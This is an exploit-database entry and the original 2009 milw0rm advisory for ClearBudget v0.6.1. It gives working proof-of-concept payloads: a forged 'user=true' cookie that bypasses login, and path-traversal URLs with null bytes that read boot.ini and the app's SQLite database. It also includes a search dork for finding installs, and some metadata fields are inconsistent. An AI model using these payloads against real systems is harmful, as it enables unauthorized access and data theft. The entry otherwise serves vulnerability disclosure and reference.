ClearBudget v0.6.1 Insecure Cookie Handling / LFI

vendor:

ClearBudget

by:

SirGod

6.4

CVSS

MEDIUM

Insecure Cookie Handling / LFI

200

CWE

Product Name: ClearBudget

Affected Version From: 2000.6.1

Affected Version To: 2000.6.1

Patch Exists: NO

Related CWE: N/A

CPE: a:douteaud:clearbudget

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

ClearBudget v0.6.1 Insecure Cookie Handling / LFI

ClearBudget v0.6.1 is vulnerable to insecure cookie handling and local file inclusion. An attacker can exploit this vulnerability by setting a malicious cookie and including local files. The PoC for insecure cookie handling is javascript:document.cookie = "user=true; path=/" and the PoC for local file inclusion is http://127.0.0.1/path/index.php?action=../../../../boot.ini%00 and http://127.0.0.1/path/index.php?action=../db/budget.sqlite%00.

Mitigation:

Ensure that cookies are set with the secure flag and that user input is properly sanitized to prevent local file inclusion.

Source

Exploit-DB raw data:

#############################################################################################
[+] ClearBudget v0.6.1 Insecure Cookie Handling / LFI
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
[+] www.hellzone.info
[+] www.anti-intruders.org
#############################################################################################

[+] Dork : ClearBudget v0.6.1

[+] Homepage : http://clearbudget.douteaud.com/


[+] Insecure Cookie Handling

    PoC : javascript:document.cookie = "user=true; path=/";

    Live Demo : http://clearbudget.douteaud.com/demo/0-6-1/


[+] Local File Inclusion

   Example : http://127.0.0.1/path/index.php?action=[Local File]%00

   PoC : http://127.0.0.1/path/index.php?action=../../../../boot.ini%00

   PoC 2 : http://127.0.0.1/path/index.php?action=../db/budget.sqlite%00

#############################################################################################

# milw0rm.com [2009-02-05]